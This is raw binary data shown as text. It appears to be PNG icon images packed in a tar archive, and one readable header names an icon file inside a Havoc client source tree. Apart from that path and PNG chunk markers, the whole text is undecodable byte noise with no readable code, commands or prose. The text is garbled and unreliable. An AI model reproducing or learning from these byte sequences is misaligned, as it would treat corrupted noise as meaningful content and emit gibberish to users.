dVqڕMȊtrL2ZMȊ*9oB&U:u(2AlteYTTv d6\YoB&M7XQQ'k#dYiS,**dm}L2$Ө#dY$}$$>B&ERj;V&Y2A,ҠYOZ, dpJ|;xK) dPs7l2AUYu_N BfBVA" BfoZJByL2{6NF!N;K D!G{d<G!*9FyL2(!G!;>B&M v/ Bfśd|{L2$-a2AȬR$/@!JEڲg& dYQl噥  dvihR6%hgBfB&]edN޳4!.NC)YA&dF dYFՔ,a@!M%!k,eBfB&m*n ! d։ ~FA!Oq7.] ,,MA!E-nB&;^YKs2Al/_QN B!R&!d٩xG7 !NNqώW,L2[|w Bfxw}ϓ%7 !^Ƀ_۹ BfdñOx:FS&z_ Uby«)[oSW&z7۟e>[ > Kw= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B= d B=bέm=e-"C<:lٺmǡCF E<ŝq`]G>zkVbf B=H-[݈=rȮݻvkב#nvlݩC2q@:mٹuǡGw~>ݻn?YiG8 lv`#w0c=%}lytǝpgc'Xo̎=cK2q@v;Ъ(IG8 Mz>b[˝meyi B=H;>}ǤdݒiẈ{[vݱ>91G8 -8pv7'̣͜{;|C2q@t1oNƳKS2q@l=ttW3&v=̣{;1ؓ..w~ G8 t;:J?^Ɏr2q@Azev& dm Moߦ'2q@v8ڟ'Nv2G8 d;8crG0 @<!2?۵G<!گ3'}!B=~!z!k> W2G8 T[:/c!%:B=ụ{<|!vq,G8 T[wxq,G8 T32Bỵ{*qF2q@Y2q@َytBG8 TC#dP7E!*~Bụ{@Z»G<ڲߓr:B=YȸX1G8 dn=}3#d【m rg?3#d【?IqX2q@zkG8 l|ij̣{mۏ%}ytB v@<۲.._};d& ḍ{[՟'F d4عK dt)\W%/'ytb}>#4!Ŗ;ݗ}W܎oB=H-O'_}3!m:]^ٽv B<iuۡӾ.+y^iB=H>ݻw擼!d4ڲuێG"dnFB<isl=|w2v;ȘiG8 lݺЁG[e6y>)#4Y`n?zu3͘ Ge12Wl*0{^~Vo^;YwzԊ{=(gmY2OwzXK%{c]dV0/|[&o~u# iL (xȩ~g/&_X`NgSOKDݱ̜E5p.dIퟴ袹N ΋Nycؽng =nVcog`SO~qc 42>{:Y'?7 - y^./scb3(crEұ }1 *c^;rr>h{7?Gʀ(سG9;ekWˬe'k>"gYLì~Qb=藿%vYV4K&gh$d9>)阻1w:y9^9x 0+pgc|Jw6躅Ke鱓3'ڭztlY0/Ǹ_?}2 ٘*}]3Vfc˪2.؀'^Vҝooe^oLISe 77#R,6yǿ5s3_NN\7oX.0ySz _O_ܹ3@={zfb\OoscNr'b3/rbnƞCNj'=o=/|%JԳs~73ֿscǺ͙sF]n^^fh1.+O<_ Ce}C/et\,\VyCa,w^6ps]{Sk X)ݿ_#V\9wnAA;7쑜L)6`# DHo_}_g+w3GqȰ:3he~翲ztnFZNN9{Y#bοpp-=ŸkgM 5&κyM:Ħ0f` Y(5FīG d ӆZEgO7,w1ٖc&y\|!|ыs`?o 0Y|E/n,g/7`^܀/zq`5o 0Mr̙3>n,q7_ bpBp`1o ZqBp`8|!ָg}]wb҃b_7`e3Es˟7`Yyݤ?1{% R9F6c? Ny-q`a#뫿q`y]6Swcߋo8XiStǩ?! B93'SK`p`ouש? >rBw+ nc 7`1|0vBpb *=/LzѲ}/0gz0ʙdY<܀]&܀]&܀q7_w ȸ@/n `0^o]wrBw z8`vxdE.O}A`,}8%`%s|f)%L ^o =ƙA9|f)=Xq[2|97ԭ~7_ 9G@`򞥑gȎ P,tק]Cksg&~|0n4||%.&_dы^AfOv%3-8zk/.6'q0#O_4NCp0OV:C.~*Ϻvz.O.i^;$n8/fe [֚'~j33n0w.d,mQ/r+y0H,obۄL>Dni2ɏ]6Ӿsogg_…>9r捴ى{=C_}>`f[2g%=':ܩt>0酋A].sa6rhKcbOM?t̕=BNckbOg\9as2 b|)Vn309ad>;5a3%Qy#{>&.J@4byVZb]c.<\.)"(k%sYbIwK@e[yќ3q'eϿʆ^2'p<H9uW3'|l«geLrWltDAfef}Ƙ[.02 ؼsgcc~kZ& N2nX2 TOoee6؇ȬLZ"̺f%BO/LNmO_xӝe/irWP,7%͹l<(f٫3_%senY:鳇S2@X𜜼a[7wd?# }M^r'fW?Wtҩ2}aysWs  kx޼+3;Wg~_1w)~AMd1cM['s/rSGpC|quz18&s~3?3ϼ$q+dZvЯ_OAνXnOy#eڌK&`ՃٿՃ=|0|t-ُ{Rw^8c-׎#d蟬_;kp? }~PyD}l?';撡ٺ IJOa CdtxNϲrG\9t }+GD_rM!bL1 /M13.<0ElAgC |ؙNg }qDm/S˟x'& ga4!˸9㦎1gQAf:.G!o3tNnCt ^:%i҇ b70#CD ^0C` K ܌^oL"j,-yC%d7O'dSǰُHo[or'L DQi}5K# | %Ml&# |Y׎cB>6mΟqNrǟ?ɟ8lr/49$;iKf }q3!B v0y#n6xA> ?sFp%k!Ss&E<`̹S #KqS5f%L6_8q1n:C&L3m]:u<\}N7\i-IENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/win10-8-icon-high.png000066400000000000000000003472611467014221700251610ustar00rootroot00000000000000PNG  IHDR =PLTEGpL:k9mEr@W>a @扉CBs7>s48I Fu58މKx>E㉋+^#XOo9G؉ Gl=R FU+^ CPЉ\&&6f EգScEUoRozFǘRc݅9혓feVVR'Y,KC`eec bq22+ޥڌ1Ìļ`, RHXYY9k^`,*2 Eae֔YYle;b:L[fMUPxMƴ 1DWÑe;ig,ʬzz+2n31|x愙-K9\ʪȗcIƜt̛`gVVEqb̑#_X0fq,Uo/ƞ71XӉe9ľdd(֣P,ˬzØÌb4p0::eUϓ#^ÏW$4LG4eA)fYfeճc}ܘH isL2%QeVVTWێy1/?ӃL7_|<,ˬzbc1'$$2=\q,wʢʪ*ZPɛX81b_p>vazXecҵ;,ʬR32=R 1  (4S0pe.L=Lޔ!~Q^,$z,mxXWĔʏ9ݘ 2rccbM9L+hIcbd~E?ȳV%X@P 4p 0f(厬+˔ƜK718,eˬ)zd׎$^o6ȎAzq2,4tӌ8L ýs)QS\Pн1xfLG/W1c,@pc dCc _2 _ɪ}dFWxMbaLƎ(S`,ɬQ1JciYYYc$o` (afMk10eqLG+Ԓ;2ʢŗ~XYfE2/f1Wxq,14d̏!Ɔ4.epPґ*~%FsX =z9,+ޫqѭBKTuvcUXI{i:@CDݕSeʔEɔK27<1t8yenSfD VVSٱ&Ŝ,SeC;6hcP5 ClzDYf?G%O,~SŎX._fVVVcZǘʒe]&A^pu^"i1f˼ܝ&`ʜ?1e9bliuf%U2mҝzD!,5UXc6lp|cl`bj,s/aYWUYlS22C/u%/̿2kʬUt=aYUScHW_6|԰a(@lp2ӗqV!C Q/=P219@'YgjidVVcN7&_^£91b%e^~eبaFz/l8`1+sҟd{.;&-222>s4Z3)KSʪ()7d"%9رʎ ̍*Q 4rHvyQp@D2`gPg3S)0&JeƢ IwM 35YSfem1^pcN)DȎiv!T2?0*Fz#G`81$ +t&\̈dJ=3&X br(e1dgIfe̎K esY1X c/Q?5g _FNx]&\e2$p2c#a2BX( +ݻG uZYY%hk~!̠S-eeЎc6 Gķ&?a„7ߜ&e".Ke*U2eze}\aRjsOá|Q)Kʪg+vXFyrG ao5/PT 9k^0_ޚ#ޘI\3ﯥQWf0`>jS,ɬREwckrYT شLЫXs*~65 bF0eYoM?~2Bp'ɜl>֠ XLk(Gϒ*n09\ˍ)B~%8~Nڸ2 X(dgxcǏ\pW_Ǘzi=cSAS(㟌J7PfIfeK1U;.@Y6UR*as8b TڸqT2 1UC!f&M(L2#4waʜ(yBYOvE1bb NOı*'oSfSVVQՎ>>nL+GFʐ5c";06 W*cŽaG2 Kߘ8Q6Mӕ 6\sSӔ9ϤteǴe܇<;u"f%Uxܘd߇ 6c,1ظGBs* 4zX0teLGO A ߔQTaX۱LC5 DOjiYYYũvL:X_3 ^}8ƲdnIq_BqG6'T9'fV3bO~$y"+B Q6QLz]^!kILotcb%ݍ *<;5aGwngO[qZdVVq)n3;U>+1tcJӎy<وYH2reLÇ;+`;efK~Z*C;)6@;lNkҀV*qNdVVKwe| G YnDzJe c#1lh3_ܶ2'F?2cВɲ cJǔ`! þ؛B%bf*dې1;GcYx1HXfRqd(r2e^,7e]{ܻD̶cc.?1"Mi9g䚙~',ɬ<3;57eO"Og3%^卬Ga1ڱI|U)7tL eҙuTncTY+ . ALg7DqHӝ#Q $zGvLD’c`܍)?6!iʆ+F1$Ci>qVJq 6\̉({Ik9+ݝB,ɬzȎ)>n0pVs dE6bSLCYv e+{,ʔ |]Y ;M1~n;w0r`XȮa1\̲t~%$z;ZXǎbe/ecaOث2n cƲcPVpe)Ӈ ͮ0QK(#"SU,LJF Oh2Kib%]yZҔYYY91{ƜMI} I/;s#JHcQʦV߽ҍ4GiMS9 *~'YH1:^h4'UG<4=%ӬaeH Gس',V> >~QOU/31mdҗeκ2ÔjʆF[tOKI|R +c@'Ѝ{;M)&s[E^ [2K2GaWveQdðJ1R1Xdf,a|9H+j3j(z1en 7.061+qI=R5L3NL;#_%ө8c}s1Ўc_dJȎ,Jle-JF=seܕyeʴ3'e,mdv%bFywhiLta(SەbdVO8̎1͍=ұ>1쫤mБ0ee̕ vu=ZbYRҌ#3ٕ_+`>kD:#o5 sCܧ嬌{X,ʬ: +evʌ 1Kǰʟ p짮IFsLVm1dEhY.cc.b86ac9 SiʰcphWnOY2+M+kGL}'Yr{eё_F``2TIUV f>cJ!1Mkɏo2Oq`+XX9sr&a۝=m3Rђ1y,O3+G);ؒ$z9Aa ^LtW9Pddž 7*1! 9-nLcYeeNMyh) tk ȱ7'?z;pos:G yEҥ˒̒ VXcRScUA7$'މɱngʠYlSi 9aOǘkk`' '0eWܘ'J&hw4cd"vWFVO6#I.Yg823Γc8dDTIv Bb ]_Xed#1Q̯Ur8o;z*ĩs9ߨЃKnAfIfd*zXV1'ǀbZD **7Yȏ{cD({**Q'ȈeP?Zbl N&e I\27 +Ǐ:";R)0lXmU̔椻*ʴM(gmR=/X4@8F*y>Y?Tkbg#eXIñ?426Κ4kViܞ\Y)f>~(7+9(&؉od*;i2QO#O,Y4YY=y嘙RnySEUȯ*S*"ưr Vl$bYSgʎ 2ԉ_.rG$Cu!gN?,ݏyC#NfʴX+rߧ̆VO*ALb,DŽ$L3jQu<-`9B4)aOV9iT;Øb2QavLc cG9\'v<-GUs^2o,\̒I?L7&ݘ/}/V ~,TMCq2"#Z햣)V?ƤӣJ12Xtfgv^UKї. -KXY=Sy/`iYGTGdAs 3)NqG;ԉb\d^ΪuyJarIi.Wv#OV8-Y/K_KGD2F OG+_;_vL@HT֣c2OI~nc c'NPƮDZ<`"cruu\djc4cGFNK J" 8fƘ1ɱVa~$c/oOO91ߌcnY0";ⶤX,}̽3>UNF~{̇3f̸m'߯O?2ޏ?v,c3s{8 ̙nF .n^bɇ'/\hh9]w41movL~/rz;م .q)޽5eλ޹qׅpf 6,iwЙL[5m 8~9+~ɮz7a[Y2"1eA";f0xb dLŴi~ן~׌eȦ9 QcgVvu=D]xx]wuu1^I,3#r$,;uԩS;vg*zqǪUJ7]? ޽=}qlʵKEX{5؅y<չwo^<-v-NiUWQT.EEQ5O?o|KC]\oVJG}}0~Q IDAT~ÎИbFo38הw%fuxq BiO믑cFfǏ?ƨ l|}`sʭBYun22yӂG}S{w#441|bڱkT`iߑ#=z+T:OH8[켮8}ѣ wjpbw!cŪ+V(؈(+,,,˛WWH$[R|K蕩7X<4[Ʋ`0C3c,U0cf5cFc/3/'d11bٱ Br_RL0D; Cw•:@})WeGPd~eMʑДv ǎ0?v+Sܾ'n+W)CGEr ǀdefcWB^=0N1!gbT(YώCMO>9vyTa_YTـ99dbq=fЕɮaʿyvu7n Sdc+DFb_!qiH8sc?wCxdxRWɘ%[Q(P%#yy@ha[WcVs{z,(ȗMbfoue Vg22~̯YP9A fZX)ca~lN/c!9uIN @LHv ]2el1oܐA+S`I"R<+eDxQ/e\1l^` 3/1W #LƲ?(˦O{̋1U3L;C}Ȏq;G=*D7A xzwc /4_nhfpSU}%?̽Mre0寡LW0 Nv 08V}lN"B9gbyx K#=d* /clN&Kޢo)GY+b/ /Y3=ĊvOFvo'*Ccq6nn<9.ɓO@dsgYLYn2"F1X֟K%13DÉEi(OG%W`¿Pz2B_Q%&|q22"Zb]z ЕA,dJLQV+WVb%,U27Vn>ZtcҎU*a/g X3])1$ 3RB”wxGq͘㪧EF%Kv`E'fgoLrjq"%Y*E4exbG4D'[dyҔI5e% YyZ?yXh}|,2RD-͟.$G͎ >Ǽ +29=Øgؿ4|鱜bnjfA2XzkgALٜXBwr@^^3e0e33d1Hs`1"fDz'[.' < )UWG\T'y;3?36tqeIDޓ)R=k֎aTI)E<9?JX1cJ 1Zyb_H{f" ؋~V/ih b:%lYD~ǎYW b32eWe}GN @GD<4dZt=PMR@ӿH ͠ipU t.fG,J,*ʘ)5Uð=9Wtc9bwx\~ cc c&tSx+'SUi,X/* 2 / ,K dcjxdvLrsrLN1c|XNҥsS 9,#xx=YPaf`˒~k1e;ĵ*c {'2<1,)S<_̽t'.bljyfENE^"vT$IAGE$KLFx9&bxqL_͏f/V+M}c9ۏec * ͧ`+nVJ͢CܢH:+l10|7o,hdο/a%aLϓ(JG#MI7Ip7]$ey@MpKeGO(2NT*.qgЎ*sƱJ~VIƨ_I*ꮓQ)&AH+`qܔAxI.Pv_bWJsX'8 νgl:9OGzB-ߟ'dsL/-EUD)hҐ1}86 űǼ&/-'B~c9sjO7WN!Wti>Iv1V#MfNs54S?ޙ,>텸R&#+ 1Ό۹,4߀Pv';/b] Z4k%&4xr%񑕱 JY<#1)S+̓3cUkǔ3 SzL N5s`plt H9o] V4eWDZ~Nu 5"8p*bK(+L^ ڥey|RRƃu'VˋDn-oYຐTh^Kdz,R~⯧OUlH)3c|jsl/aЕܺ>w ]GqgD|gp [^:9W",[Ty(:bɓUDZ=Y dbR, =)Hr BYؑY)X]؂`1be,hӟcZ<9gUN'\B8CXɼ4/۸; /&s{qԾ#lƔWo#5e Wr[Ib c*gGEչn<؍i 1 سG/'3:atprՄYL9x%¥ߥ"eVC'CeLK=?כ_ώl4iڱ,%vH3S\bEuЁS"LX 'x+ 3e7ܕ5t6`ȔюOŚCہ:1g,;E[D=YȓiLy%A"= 4d_*Ye49K@$WJ'<?/ϏpLtʁL>]a%MGhY);֨FjCX%ʀdysDI$_"Re<$>%̚v ͂cWuZPyE9*(;dnǞȎQX5p(T~vL㞺^:6V[prh6CCZD(E"\D;/W*{h2ee,O8IA4*#9-h2ӓKd+6+ӗ \LT, &c3*Xt2e-RR5Vѯ%رt-;䯧}Kv=Ў1%ЫG(͢%Zy6ᒮ|nN2g➾reJ Mas)OUe|p0/_uWK#SuVk]e眞 ۓN.O6Op$KkGj,A/i\*FsGrJu}z*m[2Pv]X< !%?V%r}t~c!QƊz2\cz#vpp,OyBB^H""tsz8idq+PYF̞2įL =}2xvAcd;nfrNKe^_Tuz9̘ДCOFeoܘ2դV/Lre8Olbv0 IXD[dRah.jcYt)=n /'tYLxS11 ~Ky.dq,Y2 b FJȏ=k1/ı!S؟cT͏goTch(7%ނkch G.5!^CS2LžʮR$cy2:G.?I 'JY_)I-rnL&++GTꠕ_(߄s(qB1%-VC ,A di><=&ؠCߓ1;Î.v$RjNsZVɍԑ~2dcf;tqSvDTh$:Ǐk;48A# Gpdl,l ,ӥ+{VLr̹Z16tȯdwv+R J'j>Z1ce=`N%^*dzh W220fU33vŇT^)>A)xd;d).K֟y(e&JO{3A1sJ C"?ǿcvr\@g~1H HfvĘvjFxtIFlJ=ʤJ~ep]>gC d K27T7JŬD̒WA)d>ҏ,Q<1W_>O-I28h27d10c{TPy$2@H#Dd2[_ K}[{5Qbd|丶tjyʥ=ulZ"%7=zLGyeH2Qq\ug>j8%ȸzs*O&bɒ&#E*Vļ},lYNROy2W3|\׾<=0FWNJcܬGXB,X©U<3Qv<ld[ WpK-cL] O9zU'"7 85yqW*%Kd)N{eb1f9ث c/?fLjߠ5O sįt=j^nhk |Oy:4bp[M]nK.'Ӷ{<ʋbJ\q/y%sdL1I2wQ,Z|XccCƆЊn,, je.>>iHD@7e 3el)IH~7uVw;v7W_q"~ȓr&+t.]3&zB0*$ׇ x{$WrIWƤroߏ1)1ذaGa`f$?gs$zLNt/VP X a@ٲUh@?KX 䚠%ư: 7_!X<'~UY.u/]j(f!H g&̺#̴$sj^uKdcRKɧ"^#2!1뿝?jWJe {<BX^y'~42e{eNO֕d/_۷aװ`AسWsqD,]:~\Y2d^Y2t(p$q1|(Ty8fɲ,&Ȟ>%MﯤWǞ7&Aߝ "K E?̙N$tVDFN43j?cґh\E}ڨ\y̔'s2g?nRK cgn5}D8IrE+8u|VR%=xWdY.N a.)o&pfX32O]y+Ql=} $YRŖ> }T{@6j/EEͫeImo%Vi~c{f$iV҆eAreeLє$K٢Rlӭo>a#q2TL.O;HPvW|v IDATBy5X(]si(Ѧ,޽Sqp˒,t?8{c} [Z{U`lȑ Zy3'JexLV0rc|MgWa u 1ATxyNB?Rs"'1Ώ´R-]c!.V.*RhȤXAw^c \F̄3󳌖dtpd= dn?l_9,%.+51 W+ X%̭EXtde3ccʌH0XXX2N}DXM0PHiqqiF>tZt8.=]M7]zLvrc@瘴b#>q<]>PW+<˙ő/$y'\\Z$ee{Śtc`e8|3 yf 2fdXI@Fb@/!Sh.W0nܸ`~ U|GBgqnl=xL%!wB m\)(JWsRH,4!q7T_$N{StY0jI H t}.h{>`' f o&3KKN-~23,K3d/P`cμ#رʠ[CПzJ׍rرFXIAF^8!LDve)QGU;LY5T8"--W[Z,M|k`|UXʒy]`,Oq0V.F"n8ä\= h}15\~GpB;مo3 ۪;>JHiˉ[[ݾRFrZcnx7c 3 ;zGRp}NnOΝøX%oXm^r {@MJs^{ I#\Qu2cLwT~wӻ}.SoU~WwM>;|2ӅƇm'ZJ'-'.v<}P[󠦶YmǥW0Ñڪ|nXK}tW<&H菫|HܗGW~9L+5;}K;wH]WD~B9Gpw]֫c=9OsSG_I7 {aȞ, ?clXe2X?L=صe˶M6[nҥƖ,YhbL mR` -7v>8og2-`5,^hZ5׬)YZn݆ 5cmP }N4j.j%՝H#F _-7m`e%kk-Z 5aLj=ۂx/޳ZPe o`l;a 1e\a\cdrveV|%/voV=exVi-(N Ovxｹ i~;wv|I)#Š= YL"C1VfW2}qƱ α 6lL [0i`{fBq5p!cLe٫lNM6mٲbUڦǗ(cK)d,;oTzj.3 `cBzõJaꅫW30 DbdŒlNeffk9VP0 0.y! pOMH=ߛ=̘ݽ'C>+9 ))S8VM` {Amppfcːck?P^]l|E12 2${1'6H,]la Cm,|< X%ž``Y+gIbЗd[dKѓ1KF(cLb68eN48(#`=ar1XQP8*؇/X@m;~ 8hΙhL iVG6l.>UuTݏ>g82.0#՟'Xj 2+'=ɚH>T4u=dVܰY[ETR 9@F{ODdppOp \A$[$c((c$kpq :V10!20e"XUUI<{d$Pdi_b" F#c,D_Ljc F*-2 ue%([-^ke3]aTc$*[@z4ȐcYP XRA ƿ8a چȱ̏8ؚkc@2╔sKjᥞ(L46Pl d&Fv2}JEɇ(v ÛeŽ髕ҍBcm(/MO(G'2=SytLʐDYkMͥ9M5t-EOe.|? $xp.e`ar ~+ۯ4'44ҜgOh:siF&ŒlM3L-LJed8$SE :dW؁!㕰0LLwWBӞ2IY鱕"=fdT \LᵸyQ&-$h 121;_Pl۶_dD$Y2ARM!d%˰zOlwQ0&WKЎr>raL(ߗ,.&wvvk8Bęh9Y` _6|Ƙ -UfIJ d }a024dıY, n`p)opm۴/_\VR7GLWSWV0axD2aє=2n 1F0M,S̋0*v'CS&=BQ6_[D~L%!܂K'bHee~e|3N4]#sȚ֌6vɲ2ƗedË#QtlG,uGoT2,'NN1ɅfȱR1c|reT;FA +>X 8W/joT˗]ٱm|v@>]6<ϓ4I撲c+e ǎI56v</d-_Y]̵p1siBJeȲ2x֔3=(I]Ie{*x^l$cw##)LqQV/ً5(SRΟ񣩸Q4+رm%6ml_™$I9<٢E^ cǖog9 +70?5B4 3AL\HJ[N4=L+e&}HiKә2glix9_LҒ!S)2 Y!v„SGH>+]YIoaVVE&|d~%eef{&)k<Ԏ IS-Ǫc[in0&8ɘ'K&ԇ(ldrXC!!/1xEj$9š3;Ü@tزkL.a *x)# ףAeґaLYN0+cŽV꿑xAi[0h*2*7MGޒ|2DI]E._11n$ٶv%xda FH2jwRфnƕ*\"p!6aΡ̦˜zY6k,+R= 2vnGZ4YZو Rdd^yͮ|>pl+Elv7Ԕ;:r5̔¤$۱Mc2dz2FC0_ `Cɶhkk${{.c˖:Xk< e$/-Ecv3Ule[01WFyf˔=^\ȂZTrdrH0>Sdb%V{N0zI1~ɲkJX%~~&edTҟk!jTa cNmV,3QCUm^eȔ-#m%VJjESً[\-61[fRÏ5^l|~Kb#?ǘ-e+ѕ"Ģ2bz5z<ꭎ E H/0?t7w-Z#8R1%y2$J!Oby2jxC WM١ve;P@\fkes7o@ɂTBH+4ZkŮdKcO8OV6QCǂP|ʘeVLQL#Ƅ#O-z# 2:MT"aM='P)l}I N!c$8-]olٚ_n0,gնa%SR(c@1a w&WK2$m]UCec[cK7#8я?آ)l+$旽+1˧dБy_E ٌlPGKα{;׺]$iK2}%oӔn{M|{$35PvA;ccn(cc'd_6_.[#eDA^lÞ<.+Bd!ŗҺd%Yl 'Vi4cH  ]^b2)M|}fQfAD,/8>i#'wZE˱F, a.Xj~ 8,K /D({)[›:uF!Mq^F"ŌǾP~l}1(R,,V$xM PkRlQզ-zp Na˖^mPNQZU Iܐϳe&fLSș(㉲Aq pfI IDATd9@FEWUaVfܠ$/ƎJ;AY@c cѥA0?2([M̔mR^~!WBC4m[%+)N١mdIC?<٥IqR3_T@O!űLpalAQ[b pa]Sm&R1GȖ]o8|찶R([HX4S({V %^}/B~͔G?{ǎwki O aʴZMnʰ`Z.մ66M"=F_䠘k S +cmL d[7k-69C5 ڱfbmv&g->Q,ٲ ]Tu*T ?{O_7;2w_j , z_ Փ̑HA8tVn&Ȁc ڂ%YyʀOImVL)1!K>]DhSc i-X5}O .!Ox}E3I2z2Z= _J@:(Ȏ[%ɶDzãhS'#c}ɌUAW_VU5V 1Apv3nHa24ִd D bz\4̧k0ZP˸_^ ,\jG,LcI=-b>:\\]^V^&<Ɩesugɺ=W9Gd2 һL 5d|֑ C?l:ƱxJN2FyX Lu{H~K5SzŮ[D|W yYa(ݕ -W] ur=cafiV1bSNAُoZGCcn h0 T˪ 4 ZU[;LӉ-ŰE*ƴlˉ̖r26VT ׺e'7;(a#3"}UR~Lb_>&8/,'ITebG{~q,[7eSs$7lb1Mzͺ'kOn9€ r>ϰ`1EH'jk|b]ڵyU!8uVT%HhM--9ʰƥl.bv4^>S+&cLoOE݅Ȣ5û1j2{De\%p)VH4nJYj2Oynxfy9X$3`4r=//ۜEцs*xX;J#ǖur r.Jr`v'ɽ=#YS۔I. cH1@6زiav2._\q[L!=~ ȟ0f"egCD`|\QY-'/Ci7dCA 2>2Aʏ1}|wj|˱e^$s&cZ6DLB%1q.ĬMFX4-#*QC[5MN2^ 0;08%XXVql]s TQEmؤtxav!1IUСs=hׯ aٖgRwH) c|%ȰO3G6#+# 2ޢ_aI~c̑Ah'ǒY4'/tZ9.N 5mdr:k+a|zlǙQH$֬1ɨD=Ye ٗ_"ɘ' ?smtpӆ4o:.4h!:gNpƎUU_elO+OfY+ٯ@ZvdU8Bp8F~) /Hckc 0EJ)$iZcKbZҝKw@IHS. W %bzK2αXzWs4%#{@ַjOW-'b?SLS Z4C c;P3Q*.g F,d rH_|ʠ(;VBa{ݷITE 2MVHe2!Śںr#Em]CZƯ85%DZ Mjvdr63aeBs媥͑=! yjudZ:pOP. 9V2H)l KJűcޥ[,: X_caȓt4nѱ(;Y1c^t9\L[\k]~H.۬TYS/ʾ~,g~96Akj5b1y ~@Y D!~\1JI5%{ A92#3.ȢGn5Se륎L sꝮ2廱tFG #C`I+cܑ-HƉث*N ,cXȹm&XXҨؚkeX)]r'$l8Z)0K5eC![~ `_Ƀb~7c.c&m-l;1m;GZ'ӐaN!2JɑpUGQꝎ,:x?Z-i2jp$6c cbhK1ȑcaDE*QVIe%K1M5O001H-q(͓d'eEU 5F :s`9,_".ٱg&q?&0AFZb5]蚄$Sھ|Z$?vY]1ՋLcH3EK-82# {WG"ɐ]P%B, s,DY4oz* Cϗbkf)贸NTa> J_gY2e2}KaSkk[~{1pc-O.M@m;n7֚.!+;,e{X}kӹh٫sq4ُ;e(!6 ;,E`wD>ZZK2DB5-NlzX<kutKG%dq|0y2쾍./''cXZ2ڦ"ŗj[x,s7`!'z]$޳cm'_ܮcы=||dLk|Ȣp\UR)(kW ZZ[Z&SLc[ ?&:Ȕørdlfox9eGqd?2Ŧ9=d|MddyD({ɓno ^(?GHpLk!YsATldl Шw`,͔?ǗEuҘc{'G5KYs!ZOvoOz Y!92ԅSG66ľTwdņ3A/$ZWʆ0!6yq5Le(ic Hƪ˽xvAɲɠ5Mo T:Scn?)9 c-GI5c[mfw,3 Bsd AV8l G|'O!c ;qd9%dCF8gdZdۼ$c8造l;nlm5=5c-z;_D$|d(VYdh#G1v9}P^Kdq)ACbl\[Τ-y/dp@\ZrɆlR,ZҌ73^1:٪pL#2ZY2=X\4zMdd2djC2V^bO5e- Gvc1HX%%;%zh[X5Os$͎x4OWk +Gc> c=OH82k oՒ +fX~LiGqGf |Md bw\ACV'z$c;dHFODm';F@g?HtKpgk=ǘS(.%:8ɶ B m;ㅥ/8QH(kEJ\߂)ziPwUr%L˓QC,q\b)G7K1Af7dvmaWNg,Gd2؀X67@2dys-qeI/Կ8p:2wiVn$@Y5e8c=1bͺ-p,ɚYg,VGГ?T`1+Y<)*r/:_D.mq:mU#S~dlbIyG6gdK7z*Ït-q_4,-fdqǓwIjve4K1?%"vvI)ɲkHMcitK]da;~(J w%n~4E8*Gf fԑ4E> ;iuO?'*>K<:--+e4c/DC. wd;XLkđ; 6JSJ}lpѬ۱h_x09^1ma){L9qS82mal#c(V-W557)-#K|2RYv5'#~Iʂd*,449Gf:'k=٩gd }t `Ϫc̏'vsCڜBgRjv^*/#K dш JK~&r5tC1z8q}/Z҈-1C,qd~NA-H2㘯'sRNƎ~\{H4c]xY9vԩ+[\5&u06Ǟe#\XN"9 kqRZa}d+.] Q8hF:;yaIZzxQ6$sRKd8zPƻ0O]^c?,WBY@)^M&U&6I?~@D F_pGwd/#[j_4#>L拝L9ʶL6iZ]vEUz IDATta|ѻ2WAۅ~rQɎkf/bb\_⍲#۴6#bld*<8HF,[\82呺#92+m|VmFTU$R^˘cXdlR.{.^:Ԗ( ?7/a"]GvLYx¶dN0 d.mf s1^pd?d#~^l)-/\o>/nBiy;2|! #n(# L c$gԱ_팽墼wP]#IAz:Z[\SP1d~͍wd:yJ' hdt 5qG}>=̑9')Ȉ!ۺȌYl[01:ڥɜ~2d ;'h7(]IRsEƘbapLוѧcclr 4p_qy,UUR4?'ZBڏa•ёPz"y~Brd35e)L8!v'c9܅λ`g}Щ1~򊻨T0_ pox-:XL#o + /bђ%˗G#GQf*Qd4"ٖxe”TPƼ$Zy. O?lutu(˕X (dci~y0RB{fl#&w8f0*tеpdrD-w:aa2$Y")4$yBԓGJdP0+/E7?]yֽ+騈)=[sbZtu]GLӇŢuQX<'$#2qa9FUXL NPYAXZbXpFm_￿fd!I!f\&Q(bbLC2(/y? LK dt6K|6??v唕y6tRgڻ$)"_h |fƫ0W*,G1deZG6cBOF/SGkwXگFd;Ҳp^AY,Ue1]NnK(=1p0AYGpOJ1??sǎ0ؖ3aic CFI2 2MB˛ ɑs.+* [`GW㡦 =+W-#{V#2ȶk((c^ȟPkJCNG f?Qv%cv{wse@-H.oAԊ 3ƬXD82kXAsBrdހ_1d*i ‘G\|:)ё}MpdXFwd4"ZA:2PQRg/:v-Zp%]/{`nezOls%׬r,Mm,ѧ $g691DY<@A嘬qd> 8&~Ȟ/pϜs1G1}mz+>BhiI9vHDG_lum4¥,!Ro7-va\ёkF0ꣻcn;:¶vxñS6J+ '˘ד*G D/oQ>K#k{267r~RZsN^)~ّWP^K,M`Qlh0,ECv4|re$l m G \\܋ {pdc#lgS"2z;Egd+GB~nWò>ʱwxe4ot6ff vYDcI>_P&<.Z^iga ˴1X5γ!=ñ@7:wET96KMhqaۑJ(p#\VB>&Y%bY4w (-%~ٓo{ԑs/E˂wdK%~$OWr2Q,c6\<u{> 3΃öh܁Ӗ AUDMYٓ_p*Gc"++U(ǘ#>2td~e[ciIHvso8AIb,g%Y+d<󃣣 )Km2!~쪳\yµcͭ-@0O1p`gqrB㢎ˈrwdI(8^`b1맥…kMq?KV'/[^O[C|BV0kIFw^)vcu9{)i3h7ˏ5mN<أ~QM:K/t?M6dq.dȴbdcy1ZGpҷl7d7n`Fv_<&+gKKґ˟)äP_ IYI86\I%l{+z==t8˾ ;%UB&Lyg,gU8TaX+ $VXFKl#{q:3dsh!:2ٹsoUK,NKWD(7K$a̓1S&zcє, tOJ{cWN >64);G89SM CJ8G;E4+VR;pdx8/,G}-u]'Xdt(Ky$cAY+N8JMYlػaCWvxɉ+/]zKF!0&RD%EVeFA,oa"(LpG6yrQiC-v²Xu53dxEXYB?562ܤD/-ߧjȔ{U(%e-͟f,)c()ڢ~Ot8 Fc';qg{^6A_/s,01PU<X)YGَlE bb +0ce輨D?-,kEB}XY.$ 쵄W_ #$ZZrm~fU}MY+PK$ec/chl.=coě=9!X> 1Ęcv ˅cѿ[Gَ AVʁ# 1I?V (А#[p-Y7'/#Cvvɋϒ#˕2 37ۙqMu1@f1ةRD^B:j9S 7&1F\ 